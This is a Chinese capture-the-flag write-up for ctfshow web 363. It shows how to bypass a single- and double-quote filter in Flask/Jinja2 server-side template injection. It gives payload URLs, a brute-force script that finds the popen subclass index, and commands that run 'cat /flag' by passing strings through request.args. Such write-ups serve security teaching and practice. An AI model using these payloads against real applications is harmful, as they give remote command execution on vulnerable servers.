SSTI模板注入单双引号被过滤绕过
绕过技巧
我们获取基类以及所有子类的时候,可以使用()或者[]来获取。
当我们使用可以执行shell命令的方法时,必定要使用单引号或者双引号来包裹我们执行的命令,这时我们可以使用request.args.参数名或者request.values.参数名等传参方式将我们的命令等需要引号包裹的字符串进行传参即可。
实例引入-ctfshow web入门363
1、判断是否存在SSTI模板注入
将参数改为name={{7*7}},观察页面是否输出49?
页面输出49,说明该站点存在SSTI模板注入漏洞。
2、获取内置类所对应的类
http://6547a391-3533-4522-917e-278281ab19e7.challenge.ctf.show/?name={{''.__class__}}
发现页面存在过滤,试一下()或者[]是否可用。
http://6547a391-3533-4522-917e-278281ab19e7.challenge.ctf.show/?name={{[].__class__}}
[]可以用来获取内置类所对应的类。
3、获取object基类
http://6547a391-3533-4522-917e-278281ab19e7.challenge.ctf.show/?name={{[].__class__.__base__}}
4、获取所有子类
http://6547a391-3533-4522-917e-278281ab19e7.challenge.ctf.show/?name={{[].__class__.__base__.__subclasses__()}}
5、获取含有可以执行shell命令方法的类
我们以popen方法为例,使用下面的脚本,跑出可以含有执行shell命令方法的类的索引值。
import requests
num = 0
for num in range(500):
try:
url = "http://6547a391-3533-4522-917e-278281ab19e7.challenge.ctf.show/?name={{[].__class__.__base__.__subclasses__()["+str(num)+"].__init__.__globals__[request.args.a]}}&a=popen"
res = requests.get(url=url).text
if 'popen' in res:
print(num)
num += 1
except:
num += 1
这时候我们就找到含有执行shell命令方法的类,其索引值为132。
6、获取可以执行shell命令的方法
由于当单双引号被过滤,我们就不能写
http://6547a391-3533-4522-917e-278281ab19e7.challenge.ctf.show/?name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__['popen']}}
因为该条语句含有单引号,这时我们可以把单引号里的内容使用传参的方式将我们想要的字符串传进去。
如下:
http://6547a391-3533-4522-917e-278281ab19e7.challenge.ctf.show/?name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a]}}&a=popen
7、执行shell命令获取flag
执行shell命令也是一样,因为shell命令也是一段字符串,所以我们也要用传参的方式进行传递我们执行的命令。
http://6547a391-3533-4522-917e-278281ab19e7.challenge.ctf.show/?name={{[].__class__.__base__.__subclasses__()[132].__init__.__globals__[request.args.a](request.args.b).read()}}&a=popen&b=cat /flag
成功拿到flag。
其他payload
http://6547a391-3533-4522-917e-278281ab19e7.challenge.ctf.show/?name={{config.__init__.__globals__.os[request.args.a](request.args.b).read()}}&a=popen&b=cat /flag
http://6547a391-3533-4522-917e-278281ab19e7.challenge.ctf.show/?name={{lipsum.__globals__.os[request.args.a](request.args.b).read()}}&a=popen&b=cat /flag